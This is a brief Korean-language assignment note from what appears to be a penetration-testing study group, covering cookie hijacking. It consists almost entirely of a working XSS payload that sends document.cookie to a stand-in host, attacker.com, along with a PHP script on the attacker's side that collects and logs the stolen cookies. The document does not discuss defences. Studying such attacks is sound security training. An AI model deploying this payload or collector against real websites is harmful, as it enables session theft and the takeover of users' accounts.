[과제] 04주차 (1-2) 쿠키 탈취

모의 해킹 스터디 - 과제 4주차 (1-2) 쿠키 탈취

쿠키 탈취 (Cookie hijacking)

JavaScript Session 탈취

<script>
var i = new Image();
i.src="http://attacker.com/getCookie.php?cookie=" + document.cookie;
</script>

 

PHP(Server) : getCookie.php

<?php
if (!empty($_GET['cookie'])) {
$f = fopen("log.txt", "a+");
fwrite($f, "Cookie : " . $_GET['cookie'] . "\n");
fclose($f);
}
?>